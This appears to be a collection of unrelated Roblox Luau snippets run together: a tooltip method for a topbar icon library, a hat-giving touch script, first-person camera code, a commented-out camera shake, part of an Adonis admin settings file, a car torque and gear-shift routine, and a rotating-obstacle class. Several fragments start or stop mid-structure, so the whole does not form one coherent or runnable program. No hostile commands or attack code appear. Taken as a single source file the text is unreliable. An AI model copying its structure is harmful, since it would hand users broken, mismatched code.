DEFAULT_FORCED_GROUP_VALUES["tip"] = 1 function Icon:setTip(text) assert(typeof(text) == "string" or text == nil, "Expected string, got "..typeof(text)) local realText = text or "" local isVisible = realText ~= "" local textSize = textService:GetTextSize(realText, 12, Enum.Font.GothamSemibold, Vector2.new(1000, 20-6)) self.instances.tipLabel.Text = realText self.instances.tipFrame.Size = (isVisible and UDim2.new(0, textSize.X+6, 0, 20)) or UDim2.new(0, 0, 0, 0) self.instances.tipFrame.Parent = (isVisible and activeItems) or self.instances.iconContainer self._maid.tipFrame = self.instances.tipFrame self.tipText = text local tipMaid = Maid.new() self._maid.tipMaid = tipMaid if isVisible then tipMaid:give(self.hoverStarted:Connect(function() if not self.isSelected then self:displayTip(true) end end)) tipMaid:give(self.hoverEnded:Connect(function() self:displayTip(false) end)) tipMaid:give(self.selected:Connect(function() if self.hovering then self:displayTip(false) end end)) end self:displayTip(self.hovering and isVisible) return self end function Icon:displayTip(bool) if userInputService.TouchEnabled and not self._draggingFinger then return end -- Determine caption visibility local isVisible = self.tipVisible or false if typeof(bool) == "boolean" then isVisible = bool end self.tipVisible = isVisible -- Have tip position track mouse or finger local tipFrame = self.instances.tipFrame if isVisible then -- When the user moves their cursor/finger, update tip to match the position local function updateTipPositon(x, y) local newX = x local newY = y local camera = workspace.CurrentCamera local viewportSize = camera and camera.ViewportSize if userInputService.TouchEnabled then --tipFrame.AnchorPoint = Vector2.new(0.5, 0.5) local desiredX = newX - tipFrame.Size.X.Offset/2 local minX = 0 local maxX = viewportSize.X - tipFrame.Size.X.Offset local desiredY = newY + THUMB_OFFSET + 60 local minY = tipFrame.AbsoluteSize.Y + THUMB_OFFSET + 64 + 3 local maxY = viewportSize.Y - tipFrame.Size.Y.Offset newX = math.clamp(desiredX, minX, maxX) newY = math.clamp(desiredY, minY, maxY) elseif IconController.controllerModeEnabled then local indicator = TopbarPlusGui.Indicator local newPos = indicator.AbsolutePosition newX = newPos.X - tipFrame.Size.X.Offset/2 + indicator.AbsoluteSize.X/2 newY = newPos.Y + 90 else local desiredX = newX local minX = 0 local maxX = viewportSize.X - tipFrame.Size.X.Offset - 48 local desiredY = newY local minY = tipFrame.Size.Y.Offset+3 local maxY = viewportSize.Y newX = math.clamp(desiredX, minX, maxX) newY = math.clamp(desiredY, minY, maxY) end --local difX = tipFrame.AbsolutePosition.X - tipFrame.Position.X.Offset --local difY = tipFrame.AbsolutePosition.Y - tipFrame.Position.Y.Offset --local globalX = newX - difX --local globalY = newY - difY --tipFrame.Position = UDim2.new(0, globalX, 0, globalY-55) tipFrame.Position = UDim2.new(0, newX, 0, newY-20) end local cursorLocation = userInputService:GetMouseLocation() if cursorLocation then updateTipPositon(cursorLocation.X, cursorLocation.Y) end self._hoveringMaid:give(self.instances.iconButton.MouseMoved:Connect(updateTipPositon)) end -- Change transparency of relavent tip instances for _, settingName in pairs(self._groupSettings.tip) do local settingDetail = self._settingsDictionary[settingName] settingDetail.useForcedGroupValue = not isVisible self:_update(settingName) end end
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Accessory") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,0.125,-0.325) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- Called when the user's rotation type is changed. -- This is a strong indication the user is in first person -- and needs to have its first person movement smoothened out.
function FpsCamera:OnRotationTypeChanged() local camera = workspace.CurrentCamera local subject = camera and camera.CameraSubject if subject and subject:IsA("Humanoid") then local rotationType = UserGameSettings.RotationType if rotationType == Enum.RotationType.CameraRelative then subject.AutoRotate = false RunService:BindToRenderStep("FpsCamera", 1000, function (delta) if subject.AutoRotate or not subject:IsDescendantOf(game) or (subject.SeatPart and subject.SeatPart:IsA("VehicleSeat")) then RunService:UnbindFromRenderStep("FpsCamera") return end if camera.CameraType.Name == "Scriptable" then return end local rootPart = subject.RootPart local isGrounded = rootPart and rootPart:IsGrounded() if rootPart and not isGrounded then local state = subject:GetState() local canRotate = true if self.InvalidRotationStates[state.Name] then canRotate = false end if subject.Sit and subject.SeatPart then local root = rootPart:GetRootPart() if root ~= rootPart then canRotate = false end end if canRotate then local pos = rootPart.Position local step = math.min(0.2, (delta * 40) / 3) local look = camera.CFrame.LookVector look = (look * XZ_VECTOR3).Unit local cf = CFrame.new(pos, pos + look) rootPart.CFrame = rootPart.CFrame:Lerp(cf, step) end end if self:IsInFirstPerson() then local cf = camera.CFrame local headPos, headLook = self:GetSubjectPosition(subject) if headPos then local offset = (headPos - cf.Position) cf += offset camera.CFrame = cf camera.Focus += offset end local shadowAngle = self:GetShadowAngle() local inView = cf.LookVector:Dot(shadowAngle) if inView < 0 then for real, mirror in pairs(self.HeadMirrors) do mirror.CFrame = real.CFrame + (shadowAngle * 9) end end self.MirrorBin.Parent = (inView < 0 and camera or nil) else self.MirrorBin.Parent = nil end end) else subject.AutoRotate = true self.MirrorBin.Parent = nil end end end
--[[ Initialises all controllers and managers for the client ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local RunService = game:GetService("RunService")
--[[ local shakeMagnitude = 0.5 -- Adjust this to change the intensity of the shake local shakeSpeed = 0.05 -- Adjust this to change the speed of the shake local rotationMagnitude = 0.05 -- Adjust this to change the intensity of the rotation* local Shakes = {} local Time = 0 local function GenerateShakeValue(shake) local Multiplier = shake["TimeLeft"] / shake["Duration"] local X = math.noise(Time + math.random(), 0, 0) * shakeMagnitude * Multiplier local Y = math.noise(0, Time + math.random(), 0) * shakeMagnitude * Multiplier local Z = math.noise(0, 0, Time + math.random()) * shakeMagnitude * Multiplier local Pitch = math.noise(Time + math.random(), 0, 0) * rotationMagnitude * Multiplier local Yaw = math.noise(0, Time + math.random(), 0) * rotationMagnitude * Multiplier local Roll = math.noise(0, 0, Time + math.random()) * rotationMagnitude * Multiplier local OffsetVector = Vector3.new(X,Y,Z) local CFrameAngles = CFrame.Angles(Pitch, Yaw, Roll) return OffsetVector, CFrameAngles end local function NewShake(Power, Duration) local shake = {} shake["Duration"] = Duration shake["Power"] = Power shake["TimeLeft"] = shake["Duration"] table.insert(Shakes, shake) end local BShake = GUI.Shake BShake.MouseButton1Click:Connect(function() end) while true do local step = RS.RenderStepped:Wait() if #Shakes == 0 then continue end --print("Shakes happenings !") Time = Time + shakeSpeed * step --remove time from Shakes for i, child in ipairs(Shakes) do if child["TimeLeft"] <= 0 then table.remove(Shakes, table.find(Shakes, child)) continue end child["TimeLeft"] -= step --print("A SHAKE RIGHT HERE") end local SumCameraOffset, SumCFrameAngles = Vector3.new(0,0,0), CFrame.Angles(0,0,0) for i, child in ipairs(Shakes) do local ChildCameraOffset,ChildCFramesAngles = GenerateShakeValue(child) print(ChildCameraOffset) SumCameraOffset += ChildCameraOffset SumCFrameAngles *= ChildCFramesAngles end --Final step of applying the final camera shake -- print(SumCameraOffset) -- print(SumCFrameAngles) Humanoid.CameraOffset = SumCameraOffset workspace.CurrentCamera.CFrame = workspace.CurrentCamera.CFrame * SumCFrameAngles end --]]
--[[ REFERENCE: command_full_name: The name of a command (e.g. :cmds) [command_full_name] = { Player = 0; Server = 0; Cross = 0; } ]]
} settings.HttpWait = 60 -- How long things that use the HttpService will wait before updating again settings.Trello_Enabled = false -- Are the Trello features enabled? settings.Trello_Primary = "" -- Primary Trello board settings.Trello_Secondary = {} -- Secondary Trello boards (read-only) Format: {"BoardID";"BoardID2","etc"} settings.Trello_AppKey = "" -- Your Trello AppKey Link: https://trello.com/app-key settings.Trello_Token = "" -- Trello token (DON'T SHARE WITH ANYONE!) Link: https://trello.com/1/connect?name=Trello_API_Module&response_type=token&expires=never&scope=read,write&key=YOUR_APP_KEY_HERE settings.Trello_HideRanks = false -- If true, Trello-assigned ranks won't be shown in the admins list UI (accessed via :admins) settings.G_API = true -- If true allows other server scripts to access certain functions described in the API module through _G.Adonis settings.G_Access = false -- If enabled allows other scripts to access Adonis using _G.Adonis.Access; Scripts will still be able to do things like _G.Adonis.CheckAdmin(player) settings.G_Access_Key = "Example_Key" -- Key required to use the _G access API; Example_Key will not work for obvious reasons settings.G_Access_Perms = "Read" -- Access perms settings.Allowed_API_Calls = { Client = false; -- Allow access to the Client (not recommended) Settings = false; -- Allow access to settings (not recommended) DataStore = false; -- Allow access to the DataStore (not recommended) Core = false; -- Allow access to the script's core table (REALLY not recommended) Service = false; -- Allow access to the script's service metatable Remote = false; -- Communication table HTTP = false; -- HTTP related things like Trello functions Anti = false; -- Anti-Exploit table Logs = false; UI = false; -- Client UI table Admin = false; -- Admin related functions Functions = false; -- Functions table (contains functions used by the script that don't have a subcategory) Variables = true; -- Variables table API_Specific = true; -- API Specific functions } settings.FunCommands = true -- Are fun commands enabled? settings.PlayerCommands = true -- Are player-level utility commands enabled? settings.CommandFeedback = false -- Should players be notified when commands with non-obvious effects are run on them? settings.CrossServerCommands = true -- Are commands which affect more than one server enabled? settings.ChatCommands = true -- If false you will not be able to run commands via the chat; Instead you MUST use the console or you will be unable to run commands settings.CreatorPowers = true -- Gives me creator level admin; This is strictly used for debugging; I can't debug without full access to the script settings.CodeExecution = true -- Enables the use of code execution in Adonis; Scripting related (such as :s) and a few other commands require this settings.SilentCommandDenials = false -- If true, there will be no differences between the error messages shown when a user enters an invalid command and when they have insufficient permissions for the command settings.BanMessage = "Banned" -- Message shown to banned users upon kick settings.LockMessage = "Not Whitelisted" -- Message shown to people when they are kicked while the game is :slocked settings.SystemTitle = "System Message" -- Title to display in :sm and :bc settings.MaxLogs = 5000 -- Maximum logs to save before deleting the oldest settings.SaveCommandLogs = true -- If command logs are saved to the datastores settings.Notification = true -- Whether or not to show the "You're an admin" and "Updated" notifications settings.SongHint = true -- Display a hint with the current song name and ID when a song is played via :music settings.TopBarShift = false -- By default hints and notifs will appear from the top edge of the window, this is acheived by offsetting them by -35 into the transparent region where roblox buttons menu/chat/leaderstat buttons are. Set this to true if you don't want hints/notifs to appear in that region. settings.Messages = {} -- A list of notification messages to show HeadAdmins and above on join settings.AutoClean = false -- Will auto clean workspace of things like hats and tools settings.AutoCleanDelay = 60 -- Time between auto cleans settings.AutoBackup = false -- (not recommended) Run a map backup command when the server starts, this is mostly useless as clients cannot modify the server. To restore the map run :restoremap settings.Console = true -- Whether the command console is enabled settings.Console_AdminsOnly = false -- If true, only admins will be able to access the console settings.HelpSystem = true -- Allows players to call admins for help using !help settings.HelpButton = true -- Shows a little help button in the bottom right corner. settings.HelpButtonImage = "rbxassetid://357249130" -- Change this to change the help button's image settings.DonorCapes = true -- Donors get to show off their capes; Not disruptive :) settings.DonorCommands = true -- Show your support for the script and let donors use harmless commands like !sparkles settings.LocalCapes = false -- Makes Donor capes local so only the donors see their cape [All players can still disable capes locally] settings.Detection = true -- Attempts to detect certain known exploits settings.CheckClients = true -- Checks clients every minute or two to make sure they are still active settings.ExploitNotifications = true -- Notify all moderators and higher ups when a player is kicked or crashed from the AntiExploit settings.CharacterCheckLogs = false -- If the character checks appear in exploit logs and exploit notifications settings.AntiNoclip = false -- Attempts to detect noclipping and kills the player if found settings.AntiRootJointDeletion = false -- Attempts to detect paranoid and kills the player if found settings.AntiHumanoidDeletion = false -- (Very important) Prevents invalid humanoid deletion. Un-does the deletion and kills the player settings.AntiMultiTool = false -- Prevents multitooling and because of that many other exploits settings.AntiGod = false -- If a player does not respawn when they should have they get respawned settings.AntiSpeed = true -- (Client-Sided) Attempts to detect speed exploits settings.AntiBuildingTools = false -- (Client-Sided) Attempts to detect any HopperBin(s)/Building Tools added to the client settings.AntiClientIdle = false -- (Client-Sided) Kick the player if they are using an anti-idle exploit settings.ProtectHats = false -- Prevents hats from being un-welded from their characters through unnormal means
-- Function that gets called when change in player's locale ID is detected
local function OnLocaleIdChanged() print("Translator has changed to: " .. translator.LocaleId) -- You should re-translate any assets translated with Localization APIs to the player's new language here end
-- Extra padding to pull the camera further back from the viewport object. -- -- We use the getDepthToFitObject() function to get an accurate depth to push -- the camera back to fit the object, however this only works at 90 degree -- rotations. -- -- Since the camera is constantly rotating around the object, this is just some -- extra padding to pull the camera back even further so the sides of the object -- don't clip.
local DEPTH_PADDING = 2 -- studs local PINCH_DELTA_TO_ZOOM_DELTA = 0.1
--[=[ @param obj any Throws an error if `obj` is not an Option. ]=]
function Option.Assert(obj) assert(Option.Is(obj), "Result was not of type Option") end
--print(speed/1.298) --print(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude)
--print("Speed: "..speed) --print("Wheels: "..math.abs(orderch)) if carSeat.Storage.Automatic.Value == true and currentgear.Value > 2 and script.Parent.Active.CC.Value == false then --hpatt cant be automatic if rpm.Value <= redline.Value*0.2 and currentgear.Value > 3 then script.Parent.Functions.ShiftDownRequested.Value = true elseif rpm.Value >= redline.Value*0.9*mode and script.Parent.Storage.Throttle.Throttle.Value > 0.1 and currentgear.Value ~= script.Parent.Storage.AmountOfGears.Value +2 and shf == true then script.Parent.Functions.ShiftUpRequested.Value = true elseif x1x*trans.Value <= redline.Value*0.8*mode and x1x*trans.Value < redline.Value*0.9*mode and currentgear.Value > 3 and script.Parent.Storage.Throttle.Throttle.Value > 0.6 then if currentgear.Value > 3 then script.Parent.Functions.ShiftDownRequested.Value = true end end end if currentgear.Value == 1 then park = 0 else park = 1 end if carSeat.Throttle ~= -1 and carSeat.Storage.Handbrake.Value ~= true then if script.Parent.Functions.ShiftDownRequested.Value ~= true and script.Parent.Functions.ShiftUpRequested.Value ~= true then if rpm.Value > redline.Value then else FL.MotorMaxAcceleration = 10+(((0.001*(m*2))*rpm.Value)+((46*m)*convert)*(low*6.5))*four*throttle.Value FR.MotorMaxAcceleration = 10+(((0.001*(m*2))*rpm.Value)+((46*m)*convert)*(low*6.5))*four*throttle.Value RL.MotorMaxAcceleration = 10+(((0.001*(m*2))*rpm.Value)+((46*m)*convert)*(low*6.5))*four*throttle.Value RR.MotorMaxAcceleration = 10+(((0.001*(m*2))*rpm.Value)+((46*m)*convert)*(low*6.5))*four*throttle.Value end if currentgear.Value ~= 1 and carSeat.Throttle ~= -1 then if throttle.Value ~= 0 then if script.Parent.Storage.EngineType.Value == "Petrol" then tL = (0.45*vt)*TC if rpm.Value < 2000*convert then FL.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*ft)*ovo*checkcluch)/ch)*tL*xi FR.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*ft)*ovo*checkcluch)/ch)*tL*xi RL.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*rt)*ovo*checkcluch)/ch)*tL*xi RR.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*rt)*ovo*checkcluch)/ch)*tL *xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > 2000*convert and rpm.Value < 6000*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo*checkcluch)*tL*xi script.lp.Value = false FR.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo*checkcluch)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo*checkcluch)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo*checkcluch)*tL *xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park script.lp.Value = true RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > 6000*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*checkcluch)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*checkcluch)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*checkcluch)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*checkcluch)*tL *xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > redline.Value then FL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 FR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 RL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 RR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 FL.AngularVelocity = 0 FR.AngularVelocity = 0 RL.AngularVelocity = 0 RR.AngularVelocity = 0 FL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2 FR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2 RL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2 RR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2 end end if script.Parent.Storage.EngineType.Value == "Diesel" then tL = (0.475*vt)*TC if rpm.Value < 2000*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)/ch)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)/ch)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)/ch)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)/ch)*tL*xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > 2000*convert and rpm.Value < 4500*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > 4500*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4600)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > redline.Value then FL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 FR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 RL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 RR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 FL.AngularVelocity = 0 FR.AngularVelocity = 0 RL.AngularVelocity = 0 RR.AngularVelocity = 0 FL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2 FR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2 RL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2 RR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2 end end if script.Parent.Storage.EngineType.Value == "Electric" then FL.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi FL.AngularVelocity = 2500*direction*park FR.AngularVelocity = 2500*direction*park RL.AngularVelocity = 2500*direction*park RR.AngularVelocity = 2500*direction*park end else if carSeat.Throttle ~= -1 and carSeat.Storage.Handbrake.Value ~= true then --guava = (redline.Value/1000)-(rpm.Value/1000) FL.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*(1-(torquesplit.Value/100)) FR.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*(1-(torquesplit.Value/100)) RL.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*((torquesplit.Value/100)) RR.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*((torquesplit.Value/100)) FL.AngularVelocity = coast/four ------------^MULTIPLY THIS BY THE INVESE OF THE RPM [SCALE]^^^^^^^^^ FR.AngularVelocity = coast/four --------< MULTIPLY THIS BY GEAR (THE VALUE SHOULD BE UP THERE SOMEWHERE^^^) RL.AngularVelocity = coast/four RR.AngularVelocity = coast/four else end if script.Parent.Storage.EngineType.Value ~= "Electric" then FL.MotorMaxAcceleration = 150 FR.MotorMaxAcceleration = 150 RL.MotorMaxAcceleration = 150 RR.MotorMaxAcceleration = 150 end end end end end elseif currentgear.Value == 1 or carSeat.Throttle == -1 or script.Parent.Functions.Engine.Value == false then carSeat.Parent.Transmission.Reverse.Pitch = 0 carSeat.Parent.Differential.Idle.Pitch = 0 carSeat.Parent.Differential.Engine.Pitch = 0 carSeat.Parent.Engine.Intake.Pitch = 0 --carSeat.Parent.Engine.Blowoff.Pitch = 0 if rpm.Value > 0 then rpm.Value = rpm.Value - decay.Value else rpm.Value = 0 end end end
-- CONSTANTS
local CONSTANTS = require(script.Parent:WaitForChild("CONSTANTS")) local Triangle = require(script.Parent:WaitForChild("Triangle")) local PI2 = math.pi/2 local TAU = CONSTANTS.TAU local GAP = CONSTANTS.GAP local PART_PER_UNIT = CONSTANTS.PART_PER_UNIT local CENTER = CONSTANTS.CENTER local EXTERIOR_RADIUS = CONSTANTS.EXTERIOR_RADIUS local EX_OFFSET = CONSTANTS.EX_OFFSET local G_OFFSET = CONSTANTS.G_OFFSET local VPF = Instance.new("ViewportFrame") VPF.Ambient = Color3.new(1, 1, 1) VPF.LightColor = Color3.new(1, 1, 1) VPF.LightDirection = Vector3.new(0, 0, -1) VPF.BackgroundTransparency = 1 VPF.Size = UDim2.new(1, 0, 1, 0) local CAMERA = Instance.new("Camera") CAMERA.CameraType = Enum.CameraType.Scriptable CAMERA.CFrame = CFrame.new() CAMERA.FieldOfView = CONSTANTS.FOV
-- print(obj.Name)
if (obj:IsA("Folder")) then
--!strict
local LocalPlayer: Player = game:GetService("Players").LocalPlayer local RunService = game:GetService("RunService") local fmt = string.format local OPT_AXIS_ATTRIBUTE = "Axis" local OPT_AXIS = "Z" local OPT_DEGREES_ATTRIBUTE = "Degrees" local OPT_DEGREES = 1 local OPT_MIN_DISTANCE_ATTRIBUTE = "MinDistance" local OPT_MIN_DISTANCE = 48 local ERR_NOT_MODEL = "Rotate expects a Model, but got %q (%s)" local Obstacle = {} Obstacle.__index = Obstacle function Obstacle.new(model: Model) assert(model:IsA("Model"), fmt(ERR_NOT_MODEL, model:GetFullName(), model.ClassName)) local self = setmetatable({}, Obstacle) self._events = {} self._model = model self._distance = model:GetAttribute(OPT_MIN_DISTANCE_ATTRIBUTE) or math.max(model:GetModelSize().Magnitude * 2, OPT_MIN_DISTANCE) self._axis = model:GetAttribute(OPT_AXIS_ATTRIBUTE) or OPT_AXIS self._degrees = model:GetAttribute(OPT_DEGREES_ATTRIBUTE) or OPT_DEGREES -- TODO: Defer render to global handler table.insert(self._events, RunService.RenderStepped:Connect(function() self:RenderUpdate() end)) return self end function Obstacle:IsLocalPlayerNearby(): boolean if self._distance == 0 then return true end local distance = LocalPlayer:DistanceFromCharacter(self._model:GetPrimaryPartCFrame().Position) return distance < self._distance end function Obstacle:GetRotationCFrame(): CFrame local degrees = math.rad(self._degrees) if self._axis == "X" then return CFrame.Angles(degrees, 0, 0) elseif self._axis == "Y" then return CFrame.Angles(0, degrees, 0) end return CFrame.Angles(0, 0, degrees) end function Obstacle:RenderUpdate() if not self:IsLocalPlayerNearby() then return end local cframe = self._model:GetPrimaryPartCFrame() local angles = self:GetRotationCFrame() self._model:SetPrimaryPartCFrame(cframe * angles) end function Obstacle:Destroy() for _, event: RBXScriptConnection in ipairs(self._events) do event:Disconnect() end end return Obstacle
-- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected
